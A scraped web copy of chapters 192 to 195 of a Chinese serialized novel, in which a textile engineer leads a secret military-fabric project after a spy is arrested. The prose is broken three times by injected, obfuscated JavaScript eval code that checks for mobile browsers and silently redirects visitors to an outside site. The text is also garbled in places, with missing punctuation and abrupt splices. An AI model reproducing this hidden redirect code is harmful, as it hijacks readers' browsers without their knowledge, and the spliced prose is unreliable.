陆良辰冷笑:“想的倒是美。李胜利之所以品德败坏和他母亲大有关系。” 赵凯没有回答但吴秀云确实不是什么好人而是一个心肠歹毒的瘫子。 不知道什么时候外面开始下雨了 审讯室里李秋兰蜷缩在铁椅上指甲深深掐进掌心。 吴秀云瘫坐在椅子上浑浊的眼睛死死盯着天花板嘴里喃喃自语:“都是那个扫把星……” “说吧把你们知道的都说 出来,要不然,就等着吃花生米!小王猛地拍桌。 李秋兰浑身发抖,突然崩溃大哭:“我不知道!我真的不知道!我哥回家什么都不说的。他只说要让姜海棠回来,让我帮他…… 而老郑,正带着李胜利移交国安部门,李胜利被拷在吉普车的座位上,右眼缠着渗血的纱布。 当国安人员亮出微型相机时,他突然狂笑起来,笑声里带着破罐子破摔的癫狂:“你们就算抓到了我又能怎么样?我们还有很多…… 这是春天的第一场雨,持续了整整两天。 姜海棠躺在病床上,听着护士议论着纺织厂的动静。 有人说保卫科连夜搜查了半个厂区,有人看见国安的车进进出出,还有传言说李胜利牵扯出的案子比想象中更大。 第三天清晨,阳光终于穿透云层。 陆良辰推门进来时,胡茬布满下颌,眼睛里布满血丝。 他手里拎着两个饭盒:“医生说你恢复得不错。 姜海棠坐起身,牵动伤口微微皱眉:“案子怎么样了? 男人沉默片刻。 “他是两年前还在部队时被策反的。陆良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个消息很快就传开了,厂里的许多人都知道,李胜利被抓是因为他是敌特分子,而姜海棠受伤也不是被李胜利糟蹋,而是为了抓敌特分子被打伤了。 这下,姜海棠成了巾帼英雄,很快,厂里的那些流言蜚语都消失了。 厂里的很多人都唏嘘,没想到,那个看起来道貌岸然的李胜利竟然是敌特分子,而姜海棠这样一个弱女子,居然敢对敌特动手,和敌特殊死搏斗。 许多女工开始赞美姜海棠,表示要向姜海棠同志学习,坚决与敌特分子做斗争,绝对不让国家蒙受损失。 梁素雅听到李胜利竟然是敌特分子的时候,脸都白了。 她虽然已经和李胜利不住在一起,可是他们还是夫妻,没有离婚。 在梁素雅惊恐不安中,国安终究还是找上门带走了她。 不光梁素雅,就连已经在**的李胜杰,也被重新带回来进行调查。 毕竟,当初李胜杰被抓就是因为企图泄露机密。 第192章 新面料 经过一系列的调查轻工局的副局长丁长林虽然不是敌特分子但却被敌特分子利用泄露了不少的信息。 这一次等待丁长林的将会是最严厉的制裁。 厂里和王强一伙的不少人因此被连累有些被下放有些被撤职还有些被开除。 赵凯捉拿敌特分子有功升了一级 虽然对于赵凯年纪轻轻就等成为副厂长有些人不满意但赵凯的功劳是实实在在的。 而此时被关押起来的李胜利做了一个梦。 梦里姜海棠没有到城里找他更没有留在厂里当工人。 她一辈子都在老家清水沟伺候他老娘吴秀云照顾他的弟弟妹妹一直到老娘吴秀云八十多岁去世她才知道他活着的消息。 而这几十年时间里他为组织窃取了纺织厂的不少机密越来越得到重用一步步在背后组织的扶持之下登上高位。 他登上高位之后不断给组织提供更多的机密情报在组织的扶持下从厂里的小小主任一步步成为手握大权的政府要员走上人生巅峰。 而姜海棠知道他活着的消息之后闹了一下被推倒撞在棺材上后被他们兄妹偷偷丢到了山里也不知道是不是被狼吃了。 等他从梦里醒来的时候还在惊惧不定。 他觉得这才是他原本应该有的人生他的人生不应该变成这样。 好像一切从姜海棠突然出现在纺织厂就不同了。 他大声喊着不应该是这样不应该是这样。 可负责看守他的人只以为他是受到刺激后疯了。 但不管他是疯还是装疯都逃不过国家的制裁。 一周后的全厂大会上礼堂座无虚席。姜海棠坐在前排后背的伤口还隐隐作痛但她的腰杆挺得笔直。 国安的领导亲自宣布:“……这个潜伏多年的特务组织已被一网打尽李胜利系该组织在轻工系统的联络人……纺织厂保卫科的同志、姜海棠同志、陆良辰同志勇敢和敌特做斗争……” 现场响起热烈的掌声许多人将目光看向姜海棠这边。 姜海棠回想起那惊魂一夜还有些后怕。 如果不是陆良辰教她的格斗技巧如果不是那根意外找到的铁管…… “怕吗?”陆良辰的声音将她拉回现实。 姜海棠微微点头。 当然怕! 但因为有身边这个男人在或许也可以不怕! 礼堂里的掌声 渐渐平息,姜海棠感觉后背的伤口隐隐作痛,但她的嘴角却忍不住上扬。 陆良辰的手掌依然覆在她的手背上,温暖而有力。 男人的手掌覆上她的手背,体温透过皮肤传来,“以后我教你用枪。” 姜海棠轻笑出声,“那你可得把我训练成神**,下次再遇见敌特,一枪崩了他们!” 散会之后,陆良辰叫住了姜海棠,二人一起去了陆良辰的办公室。 陆良辰的办公室窗户打开一点,春天的风带着纺织厂特有的棉絮味道飘进来。 “陆厂长找我来,有什么事呢?”心情很好的姜海棠不由升起了揶揄的心思。 陆良辰笑着瞪她一眼,给她倒了一杯温水,在她对面坐下来。 姜海棠捧着搪瓷缸,温水透过杯壁传递着温度,就像对面这个男人给她的感觉,温暖而踏实。 “以后,我们就可以安安心心地搞生产了,海棠,你的任务会更加重。” 姜海棠立即意识到,陆良辰可能有很重要的事情要对自己说。 果然,陆良辰接着说:“海棠,我从部队转业到地方后,到金城纺织厂是带着任务来的。” “什么任务?”姜海棠不由多了几分严肃。 “上面要求我们研究军需布料。” 四个字,像是惊雷一样炸响在姜海棠的耳边。 “军用布料?”姜海棠放下杯子,眼睛亮了起来。 陆良辰点点头,从抽屉里取出一份盖着“机密“红印的文件。 “我是带着任务下来的,可从下来之后,一是厂里现有的技术力量跟不上,二是我还以有敌特分子在厂里潜伏,所以打了报告延期任务,先抓敌特。” “直到现在,敌特应该肃清了,技术力量也比以前有了大幅度的提升,我们要从现在开始启动新任务,全力研发新型军用布料,要同时具备防水、防火和耐磨三种特性。” 他的手指在文件上轻轻敲打,“这是给边防战士用的,高原地区昼夜温差大,还要考虑保暖问题。” 姜海棠接过文件,眉头不自觉地皱了起来。 纸上的技术要求密密麻麻,每一项指标都远超纺织厂现有的技术水平。 这是一项十分艰巨的任务啊! “多长时间?” “上面没有明确的要求,只有四个字,越短越好!” 姜海棠沉默了,往往,越是没有要求,要求就越高。 “三个月?”她指着时间要求惊呼出声,“这怎么可能完成?“ “海棠,我希望,这项工作是你牵头抓,带着厂里现有的科研力量开展工作。虽然很困难,但不管怎么困难,任务都要完成。” 姜海棠郑重点头。 “好,我会努力的。” 和她之前做的工作相比,这项工作更加圣神和有意义。 “我知道有一种布,纺织工艺不难,甚至可以用最简单的工具纺织,但布料比寻常的布料结实,或许,我可以从这个方向进行研究。” 她上辈子没有研究过军需布料,但她觉得,可以尝试。 “好,海棠,我立即打报告,请上级组织同意成立‘军工技术攻坚小组’你担任组长,全权负责技术研发工作。” “保证完成任务!”姜海棠起身,严肃回答。 陆良辰从口袋里掏出一枚小小的铜钥匙,“这是厂里老实验室的钥匙,五十年代苏联专家用过的地方,设备虽然旧但基础齐全。” 姜海棠接过钥匙,金属的冰凉触感让她清醒了几分。 “你早就知道我会同意?”她挑眉问道。 “我了解你是一个多么出色的研发人员,也了解你是一个对国家有情怀和热诚的姑娘。” 陆良辰笑着从抽屉里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828536|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又拿出一个铁皮盒子。 “这个送给你!” 姜海棠接过盒子打开,只见里面装着一把精致的计算尺和一本笔记本。 姜海棠翻开扉页,上面是陆良辰工整的字迹:“致我最聪明的海棠——愿你在科学的海洋里乘风破浪。” 姜海棠眼眶发热,赶紧低头假装研究计算尺。 “我知道,厂里现在的条件有限,能提供给你的不多,但海棠,我会尽量保障研发费用。” “你……就会哄人!”姜海棠语气软软的,倒有点撒娇的意思了。 “公私分明啊,姜组长。”陆良辰故作严肃地站起来,“明天早上八点,我要看到攻关小组的名单和初步方案。” “是!陆厂长!”姜海棠站起来敬了个滑稽的军礼,然后想到了什么问:“我们厂里目前从事研发的人员,都调查过了吗?” 研发部门现在有十来个人,除了之前的几位老同志之外,还有几个是顾教授和舒教授推荐的人。 “都调查过了,你放心用起来就行。” 得了陆良辰的保证,姜海棠只恨不得立即出门开展工作,却在转身时被陆良辰拉住了手腕。 “海棠,晚上回家吃饭吗?”他声音突然柔软下来,“我们很久没有在一起吃饭了!” 姜海棠心头一暖。 “我可能晚点,没有办法自己做饭,但肯定能一起吃饭。” “好,我去食堂打饭,小桃子应该也想念我们了。” 离开办公楼,姜海棠没有直接去研发部门,而是转向了车间。 她要先找几个人,那些平时不显山露水却有着真本事的老师傅或许也可以吸收进来。 纺织车间机器轰鸣,姜海棠猫着腰穿过一排排纺纱机,找到了正在检修设备的王铁柱。 “王师傅!”她提高嗓门压过机器声,“能借一步说话吗?” 王铁柱五十出头,是厂里出了名的“布痴”,据说能用手摸出纱线的支数。 他擦了擦手上的机油,跟着姜海棠来到车间角落。 重点是,这位老师傅家世清白,绝对可信。 “军工布料?”王铁柱眼睛一亮,“我年轻时在东北被服厂干过,给志愿军做过冬装!” 他左右看了看,压低声音,“不过你要的那种三防布料,得加特殊材料……” “什么材料?”姜海棠赶紧掏出笔记本,打算将这些先记下来。 “石棉可以防火,但会扎皮肤;橡胶能防水但太重……”王铁柱掰着粗糙的手指,“关键是找到既能混合又不会互相抵消的材料组合。” 正说着,一个清亮的女声插了进来:“我听说苏联有种新型化学纤维,叫……叫什么来着?” 姜海棠回头,看到梳着两条大辫子的质检员周小梅站在身后,手里还拿着刚检验完的布样。 “你这丫头,吓死个人了!” 姜海棠没想到,自己和王师傅的话,会被别人听见。 好在周小梅是谭**的外甥女,算是可信任的人。 “我们去我的办公室说话。” 第193章 研究小组 三人很快到了姜海棠的办公室。 姜海棠给两人倒茶,搪瓷杯里升腾的热气氤氲了办公室里悬挂的纺织工艺流程图。 “快坐快坐,今天咱们可得好好聊聊。 三人围着略显斑驳的木质办公桌坐下,越聊越投入,铅笔在草稿纸上沙沙作响,原本空白的纸面渐渐布满各种公式、图表和批注。 随着讨论深入,姜海棠眼中的光芒愈发明亮。 直到下班铃声突兀地响起,姜海棠才惊觉时针已悄然转过两大格。 她有些不好意思地捋了捋耳边的碎发,“不知不觉就聊这么久了,真是对不住,耽误你们吃饭了。 “哪里哪里,今天和您聊,我们豁然开朗。王师傅十分诚挚的说。 之前,他对这位年轻的女工程师并不了解,只知道她很厉害,今日见了,一起聊了,才知道,厉害两个字根本不足以形容。 姜海棠心里盘算着后续的研究计划,“我们改天再聊,到时候,多找几名同志一起。 脑海中快速闪过段长河和黎景程,还有舒老师和顾老师推荐的那两名新人,他们说不定能带来新的思路。 目前厂里的研究力量依然不够充足,但要是把能整合的力量都整合起来,也算不错。 “我能不能把我表哥也请过来,他在省化工研究院工作,这方面应该有发言权。周小梅迟疑了一下,才说出一个诉求。 姜海棠原本有些疲惫的眼睛瞬间亮了起来,仿佛在黑暗中突然寻到了一盏明灯。 “这真是太好了,小梅,你真是我们的大福星啊!有了专家的指导,咱们的研究肯定能少走不少弯路。 下午,姜海棠借了刘红梅的自行车,风风火火地赶往省图书馆。 图书馆里弥漫着淡淡的油墨香和木质书架的气息,她穿梭在一排排高耸的书架间,眼神专注而急切。指尖轻轻拂过书脊,时不时抽出一本,快速翻阅目录和章节,眉头时而紧皱时而舒展。 回到家,夕阳的余晖将前院镀上一层温暖的橘色。 陆良辰带着小桃子正在翻地,陆良辰卷起的衣袖下,露出结实有力的手臂,铁锹一起一落间,泥土被翻得松软。 小桃子戴着一顶有些歪的草帽,正用小铲子努力地挖着土,模样认真又可爱。 “妈妈!看到姜海棠进门,小桃子丢下手里的小铲子,像只欢快的小鸟扑向姜海棠。 “小心点,别摔着。 姜海棠笑着弯腰,用下巴轻轻蹭了蹭女儿的发顶, 怀里的书却稳稳当当。 这些可都是她从省图书馆精心挑选的宝贝,关于纺织工艺和染料化学的专业书籍,有些还是外文翻译本,在普通书店根本买不到。 可以说,每一本都承载着希望,是解开纺织技术难题的关键钥匙。 陆良辰直起腰,擦了擦额头的汗,铁锹插在松软的土里。 “春天到了,我看其他人家都开始翻地了,正好今天回来得早,就把翻好了,就等你决定种什么。”他的目光温柔地落在姜海棠身上。 姜海棠看着陆良辰被夕阳镀上一层金边的身影,心里涌起一阵暖意。 她仔细打量着前院的空地,脑海中迅速规划着种植方案,“这边种西红柿和黄瓜,那边种点韭菜和小葱。再种几颗番瓜、两垄辣椒和茄子,基本上就够了。” “你不是说,前院种花后院种菜吗?”陆良辰疑惑问。 姜海棠自己都已经忘了,陆良辰当初申请到院子的时候,问她应该种花还是种菜的时候,她回答了前院种花。 这会儿被陆良辰提醒,瞬间脸上笑意更深。 当时她是揣度城里姑娘的想法,并不知道那时候,陆良辰就是真心诚意地问她的想法。 “那时候,我以为你有对象要结婚了,觉得能和副厂长结婚的对象,肯定是城里姑娘,猜度了一下,给了这个建议。” 想起当时的误会,她忍不住掩嘴笑了起来,笑声清脆悦耳。 当时,她可一点都不敢想,会有一天和陆良辰在一起,更不知道,陆良辰是真的将她的答案记在心上了。 陆良辰:…… “好,都听你的。” 陆良辰眼中闪过一丝了然的笑意,他知道姜海棠这个年纪的小姑娘,骨子里还是喜欢花的。 他默默在心里做了决定,要在小院子里预留一些地方,等有空了,就去淘换点花花草草,给她一个惊喜。 一家人吃了晚饭后,忙着翻地的小桃子累了,早早睡下。 姜海棠和陆良辰坐在沙发上说话,姜海棠简单和陆良辰说了一下今天和周小梅还有王铁柱聊的内容,以及之后几天的打算。 “需要我帮忙吗?”陆良辰问道,眼神中满是关切。 姜海棠犹豫了一下,“暂时不用,对了,周小梅说她表哥在省化工研究院工作,我们会请他来看看。” “郑明远?”陆良辰挑眉,“他可是化工领域的专家,能请来当然好。” “你认识他?”姜海棠惊讶地问。 “去年省里 开工业会议时见过。”陆良辰笑了笑“需要我出面邀请吗?” 姜海棠摇摇头。 “先让小梅试试实在不行再请你出马。你是厂长身份不一样出面的话意味着正式合作现在还不是时候。” 她心里清楚不到万不得已不想给陆良辰添麻烦也想凭借自己的能力把事情办好。 “好都听你的。”陆良辰抓着姜海棠的手:“走吧我送你回去。” 姜海棠笑道:“就这么两步路我自己回去就行你忙了这么长时间好不容易闲一点早点睡觉吧。” “那不行我是你的未婚夫必须要送你回去。”陆良辰的语气不容置疑。 最终姜海棠还是顺着陆良辰的意思让他送自己回家在陆良辰依依不舍的目光中关上了院子大门。 姜海棠在书桌前摊开借来的书籍台灯的光线柔和地洒在她专注的侧脸上。 她手中的红笔在书页间来回穿梭不时在笔记本上记录着关键要点。 窗外夜色渐深而她沉浸在知识的海洋中浑然不觉时间的流逝。 她面前的本子上已经记录了密密麻麻的笔记和草图。 她的研究目标虽然是军工布料但是遇到关于其他纺织方面正好需要用的内容姜海棠也会单独记录下来这些都可能成为未来研究的重要参考。 这个晚上 翌日一早匆匆吃了早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姜工,您说的损耗率问题,我们染色车间也注意到了。”段长河说起这个话题非常有兴趣。 “上个月有批军绿色布料,染废了整整三十匹。只能当做瑕疵品处理,看得心疼。” 黎景程也说道,想起那批布料,他的脸上满是惋惜。 “我事后研究过,这批军绿色布料的色牢度不达标,纤维断裂强度也有问题。我怀疑是染色温度和助剂配比的问题。” “姜工,会不会是咱们现在用的固色剂成分太单一?而且染色时间好像也过长,能耗太高了。” …… 姜海棠看着两个年轻人认真的样子,嘴角不自觉上扬。 午后的阳光透过树荫洒在三人身上,将他们的影子拉得很长。 “明天是星期天,你们到我办公室来一趟,还有几位其他的同志也要来。”快到食堂的时候,姜海棠给二人说道:“周末愿不愿意免费加班?” 二人哪里有不愿意的,一口答应下来。 第194章 各方配合 当天下午,姜海棠一直都在办公室,那些泛黄的书页间夹着无数自制书签,那些标注荧光色的段落都被她工整誊抄在活页纸上。 计算器在她指尖飞速跳动,草稿纸上密密麻麻排列着混纺比例公式,某个关键数据被反复涂改,墨迹层层叠叠形成深色斑块。 窗外暮色渐浓,办公区的喧哗声逐渐消散,唯有她笔下沙沙作响,将两个研究方向的推演过程细化到每个实验步骤。 当她终于放下笔时,腕间的机械表已指向晚上八点,月光透过百叶窗在数据图表上投下斑驳的影子。 想起还没有邀请元俊峰和常志宴两位同志,她又急匆匆地去了一趟宿舍区。 元俊峰和常志宴二人是舒启华和顾昀笛推荐过来的人,刚到厂里不久,但工作十分认真,而且,非常有能力。 回到家里,姜海棠在纸上详细列出了每个人的专业特长和研究方向,她希望能组建一个优势互补的团队。 次日清晨六点,姜海棠就被闹钟惊醒。 厨房灶台上,铝锅咕嘟冒着热气,她一边熬着小米粥,一边在一旁的草稿纸上记录突然闪现的灵感,或许可以尝试将天然苎麻与化学纤维混纺? 这个念头让她连盛粥的动作都加快了几分。 八点不到,姜海棠抱着装满资料的帆布包匆匆出门,讨论约定的午后,她想着早上再将之前记录的不全面的问题梳理一下。 晨光中,厂区主干道上的白杨树在晨风中舒展着嫩绿的枝叶。 她拐进办公楼时,发现黎景程和段长河正蹲在台阶上吃包子。 两人见到她,立刻大口将剩下的包子吞下。 他们手里还拿着笔记本和笔,显然是做好了充分的准备。 “你们来这么早?今天是周末,怎么不多睡一会儿?”姜海棠笑着问二人。 “姜工,我们七点半就到了!”黎景程咧着嘴笑。 “哪里能睡得着,一想到今天有大事要参与,我们两个昨天晚上就聊了半个晚上。”段长河挠挠头,有些不好意思地说。 只是,虽然聊了半个晚上,却没有一点头绪,还是不知道今天讨论的主题是什么。 邀请二人进门,姜海棠又去打了一趟热水回来,给二人倒上热茶之后,才说:“厂里打算研发军工布料,要成立专门的研发小组,今天讨论的主题就是这个。” 二人半晌没开口,饶是他们想了半个晚上,讨论了许多可能,也没想过,是要研究军工面料啊。 他们觉得,这是意料之外,但又觉得,应该在意料之内,只是他们谁都没敢朝着这个方向想。 办公室里陷入了短暂的沉默,随后,两人眼中闪烁着兴奋的光芒。 午后,办公室渐渐热闹起来,众人围在简易拼起的长桌旁,草稿纸像雪花般铺满桌面,红蓝铅笔地批注在阳光下交错闪烁。 黎景程带来的染色样本在阳光下呈现出微妙差异,王铁柱正用游标卡尺测量布料厚度。 “关键是原材料。”姜海棠用铅笔轻点图纸,“普通棉纱强度不够,混纺比例又影响防火性能……” 办公室门突然被轻轻叩响。 众人警觉地停下讨论,姜海棠迅速用报纸盖住桌上的样品。 “请进。” 门开了,一个穿深蓝色中山装的年轻男子站在门口,手里拎着鼓鼓囊囊的公文包。他的身旁站着的正是周小梅。 “我给大家介绍一下,这位是我表哥郑明远。” 郑明远推了推黑框眼镜,目光在众人脸上扫过,最后落在姜海棠身上:“打扰了,我是省化工研究院的郑明远,很荣幸能来参加你们的讨论。” 姜海棠连忙起身相迎。 她注意到这位专家虽然年轻,但眼角已有细纹,左手虎口处还有一道淡淡的化学灼伤疤痕。 郑明远没有寒暄,走到办公室之后,找了凳子坐下来,直接从公文包取出一个牛皮纸袋:“这是上级批准提供的资料,限本小组内部传阅。” 他顿了顿,又拿出个密封的铁盒:“还有这个,新型阻燃剂样品,十克。” 姜海棠接过这两样东西,手心微微发汗。 真没想到,今天的讨论还有这样的意外惊喜。 “郑同志来得正好。”她稳了稳心神,”我们正在讨论原材料问题。” 郑明远走近桌前,目光扫过那些染色样本,突然指向其中一个:“这个色号不对,军用标准是GSB05-1426,你们用的是民用色卡。” 黎景程“啊”了一声,脸顿时涨得通红,显然,他也没想到。 姜海棠却眼前一亮:“郑同志熟悉军用标准?” “我在军工材料研究所实习过半年。”郑明远语气平淡,却让在场所有人都肃然起敬。 讨论持续到夕阳西下。 当其他人陆续离开后,郑明远特意留到最后:“姜海棠同志,有件事必须单独和您说。” 姜海棠心头一紧。 郑明远从内袋取出封信:“我已经得到相关领导首肯,加入你们这个项目。上级指示,这个项目代号‘绿盾’,每周三我要向军区李干事汇报进展。” 信纸上的红头文件让姜海棠手指微微发抖。 她没想到这项任务规格如此之高。 而且,上面还专门安排了专家级的人协助他们完成任务。 “我明白了。”她深吸一口气,“请组织放心。” “李干事特别交代,你们需要的分析天平已经在运输途中。” 走出办公室时,天边仅剩几缕霞光。 姜海棠抱紧装着资料的公文包,突然看见陆良辰正挂着个网兜站在不远处,网兜里装着青菜和一条五花肉和一条大鲤鱼。 “今天供销社来鲜鱼,我抢到一条,给我们的姜工补补身体。”他自然地接过姜海棠手中的包。 姜海棠心头一暖。 两人并肩走在暮色中,陆良辰突然压低声音:“郑明远来了?” 姜海棠惊讶地看他一眼。 陆良辰笑了笑:“下午厂办接到省化工研究院的电话,说要给我们厂技术支援。” “你……”姜海棠欲言又止。 “我什么都不知道。”陆良辰眨眨眼,“不过厂里刚批了间大办公室给你们组,明天就能用。” 姜海棠突然明白过来,心头涌起一阵暖流。 这个看似不经意的安排,不知陆良辰费了多少心思。 晚饭后,陆良辰在院子里开始种花,他不知道从什么地方弄了两颗月季花苗,姜海棠在灯下研读郑明远带来的资料。 这些文件详细记录了一种新型混纺工艺,正是她们需要的。 但有个关键参数被墨水涂黑,显然是保密需要。 姜海棠咬着铅笔头,突然想起梦中书房里那本《特种纺织材料》。 她闭上眼睛努力回忆,果然记起几组关键数据。当她迫不及待地记在笔记本上时,发现这些数字竟与文件中未被涂黑的部分完美契合! “良辰!”她激动地跑向院子,“我可能找到解决方法了!” 陆良辰放下铲子,看着小姑娘发亮的眼睛,突然伸手拂上她的发顶:“别太累着。” 简单的三个字,却让姜海棠鼻子一酸。 第二天清晨,姜海棠一大早就醒来了。 她蒸了一锅馒头,又煮了稀饭,还特意煎了三个荷包蛋。 “今天什么日子?”陆良辰看到丰盛的早餐的时候,十分意外。 姜海棠把热腾腾的馒头塞进他手里:“庆祝我们组搬新办公室!” 她顿了顿,“还有……谢谢你。” “只是说一句谢谢吗?”陆良辰促狭问。 姜海棠忽然抬起胳膊,搂住陆良辰的脖子,在他脸上印下一个浅浅的吻。 陆良辰一愣,手里的馒头差点儿掉在地上。 他愣愣地看着姜海棠,小姑娘居然…… 陆良辰看着小姑娘漂亮的脸庞和水润润的唇,终究没忍住,亲了上去。 新办公室位于厂区最安静的西北角,原先是仓库,现在摆上了六张办公桌和一个大实验台。 段长河正带着几个工人安装水管,说是要接个简易水槽做实验。 “姜工!”黎景程兴奋地指着墙角,“看这是什么!” 他掀开一块帆布,露出台崭新的分析天平。 姜海棠惊讶地抚摸着这台精密仪器,这在当时可是稀罕物。 她转头看向门口,郑明远正倚在门框上微笑:“不是给你们的,只能借给你们用三个月。” 小组第一次全体会议在新办公室召开。 姜海棠将梦中记下的数据与郑明远提供的资料结合,提出了全新的研发方向。 她在黑板上画出示意图,“段长河同志带着元俊峰和常志宴两位同志负责织机改造,我和郑同志以及王铁柱同志主攻材料配方。黎景程和小梅同志负责数据记录和标准对接。” 众人摩拳擦掌,唯有郑明远眉头微蹙:“姜组长,有个问题。新型阻燃剂的主要原料石棉,现在全省都紧缺。” 会议室突然安静下来。 姜海棠想起梦中那本书的后半部分,提到过某种替代材料…… “也许我们可以试试用其他产品替代……”剩下的话没有说完,门外突然传来咳嗽声。 第195章 我只要跟着你 谭书记背着手,迈着沉稳有力的步伐走进办公室,身后跟着一位面容冷峻、气质不凡的陌生同志。 新的办公室内窗明几净,新添置的实验设备摆放得整整齐齐,墙上还挂着与科研相关的图表和标语,经过布置,焕然一新。 两人缓缓环顾着办公室,谭书记眼神中满是赞赏,满意地点点头,声音爽朗地说道:“不错嘛,有点科研单位的样子了。” 那位陌生的同志则一言不发,径直走到实验台前,目光如炬地仔细查看上面的仪器和资料,神情专注而认真。 “我给你们介绍一下,”谭书记笑着开口,“这位是军区后勤部的司志鹏同志,今天是专门来看大家的。” 众人纷纷投来好奇的目光,礼貌地向司志鹏点头致意。 “辛苦各位了,”司志鹏向前一步,声音清朗坚定,充满激情,“因为种种原因,这个项目一拖再拖,留给大家的时间比较短。但我相信,凭借各位的专业能力和敬业精神,一定能攻克难关!” 众人纷纷表示这是应该做的,不辛苦,现场气氛热烈而融洽。 随后,姜海棠作为项目的主要负责人,简要地向两位领导汇报了当前的研究成果和遇到的困难。 当她提到石棉短缺这个棘手问题时,谭书记和司志鹏心领神会地交换了个眼神。 “原料问题,我们会尽量协调解决。”谭书记突然提高声音,神情严肃而郑重,“经厂党委研究决定,正式成立‘军工布料技术攻关小组’,姜海棠同志任组长,直接向我汇报!” 说着,他从公文包里取出一张红头文件,郑重其事地放在桌上。 姜海棠看到文件末尾盖着厂党委和军区后勤部的联合公章,心中顿时涌起一股难以言喻的激动,之前所有的担忧和顾虑似乎都在这一刻烟消云散。 有了军区的背书,项目推进的诸多难题都将迎刃而解,她对未来充满了信心。 送走谭书记和司志鹏后,郑明远悄悄拉住姜海棠,眼神中透着好奇:“姜工,你刚才想说什么替代材料?” 姜海棠犹豫了片刻,最终还是选择信任眼前的同事,低声说道:“水镁石。我在一本外文资料上看到过,它的纤维特性与石棉相似,但更安全。” 其实,这不是她从外文书籍上看到的,而是在梦中看到的。 郑明远眼睛瞬间一亮,兴奋地说道:“这个我知道,我们省的灵县就有水镁石矿!” 姜海棠惊喜万分,没想到幸福来得如此突然,她立即欣喜地追问:“真的?” “我同学就在省地矿局,我回头和他咨询一下详细情况。”郑明远笑着说。 姜海棠急切地问道:“郑主任如果有电话的话,可以现在就电话联系吗?” 郑明远毫不犹豫地点头:“自然可以。” 当天下午,郑明远就通过厂部电话联系上了他那位地质专家老同学。 更令人惊喜的是,对方表示灵县的水镁石矿恰好是他们在勘探的,并且可以提供少量样品。 这个好消息迅速在项目组传开,姜海棠等人开心得不得了。 “太好了!”周小梅高兴地拍手,眼中满是期待,“我们现在是不是就可以去取样品?” 郑明远笑着摇了摇头:“只怕还不行,厂里得出文件才行。而且,这事得保密,水镁石矿属于战略资源。” 消息很快传到陆良辰这里,他深知此事的重要性,立即向军区汇报,之后便马不停蹄地安排人着手办理相关事宜。 这些天,姜海棠全身心投入到项目筹备中,比陆良辰这个厂长还要忙碌,照顾孩子的任务自然而然地落到了陆良辰的头上。 周末,难得有了休息时间的陆良辰,因为心里一直压着的关于项目的大石头终于放下,整个人轻松了不少。 他带着小桃子在厂区的空地上放风筝,小桃子欢快的笑声清脆悦耳,像银铃一般传出很远,很快就吸引了不少孩子过来。 这时候,一个身影让陆良辰心头一紧,此人正是小桃子曾经的老师林美华。 “陆厂长。” 林美华的声音低沉而沙哑,多日不见,她的变化堪称巨大。 曾经那个衣着光鲜、神采飞扬的女教师,如今整个人状态极差,身上的衣服破旧不堪,面容憔悴,仿佛一下子老了十岁不止。 林美华当初因为虐待学生,被厂里开除。 之后,她嫁给了硌委会何主任的儿子何其亮,靠着何家的关系,得到了一份不错的工作。 然而,在与姜海棠和陆良辰产生矛盾后,她和何其亮耍阴招被调查出来,他们的行为被上面盯上后,不仅连累到了何父,两人也都从原岗位被调整到了边缘岗位。 从那以后,何其亮把所有的怨气都撒在林美华身上,对她非打即骂,这段时间,林美华受尽了折磨。 看到林美华,陆良辰脸上原本温暖的笑容瞬间消失,眼神变得冰冷。 “林美华!你来干什么?” 林美华缓缓走近几步,陆良辰这才发现,她比上次见到时瘦了许多,曾经精心打理的一头秀发如今枯黄毛躁,毫无光泽,嘴角还有一块未消的淤青,被劣质粉底勉强遮盖着,显得格外刺眼。 “陆厂长。”她又唤了一声,声音像是砂纸摩擦般沙哑,但目光却灼灼发亮,让人有些不寒而栗,“好久不见。” 小桃子看到林美华,小脸瞬间变得苍白,小手立即紧紧抓紧了陆良辰的衣角,眼中满是恐惧。 显然,当初被林美华虐待的记忆还在,她从骨子里害怕林美华。 陆良辰十分心疼小桃子,安抚地拍了拍女儿的发顶,轻声说道:“去跟小朋友们玩吧,爸爸一会儿来找你。” 等小桃子跑远,陆良辰才转向林美华,语气严肃而冰冷:“林同志,有事?” 林美华向前走了两步,身上劣质雪花膏的香味混着淡淡的酒味扑面而来,她意有所指地看了眼远处的办公楼,眼眸中一闪而过的是浓浓的恨意。 “陆厂长,听说你们要成立军工小组了?” 陆良辰眼神一凛,语气不善:“厂里的事,不劳你一个外人费心。” 成立军工小组的消息,只有少数人知道,但林美华竟然知道,这证明,林美华这个女人,还是很有些人脉的,连这样机密的事都能知道。 “陆良辰!”林美华突然情绪激动起来,声音尖锐地刺耳,“你的心肠是铁石做的吗?为什么看到我总是冷冰冰的?” “你为什么就不能给我一点点回应?是我哪里不够好吗?我年轻漂亮,有文凭,懂诗歌能弹琴……为什么你情愿要一个乡下离过婚的女人都不要我?” 她的声音中带着凄厉和执拗,这么长时间以来,她一直想不明白,所以才瞒着何其亮,不顾一切地来找陆良辰,希望能得到一个答案。 “林美华同志,”陆良辰冷声打断,眼神中满是厌恶,“请注意你的言行。” “言行?我沦落到如今这个地步,还要什么言行?” 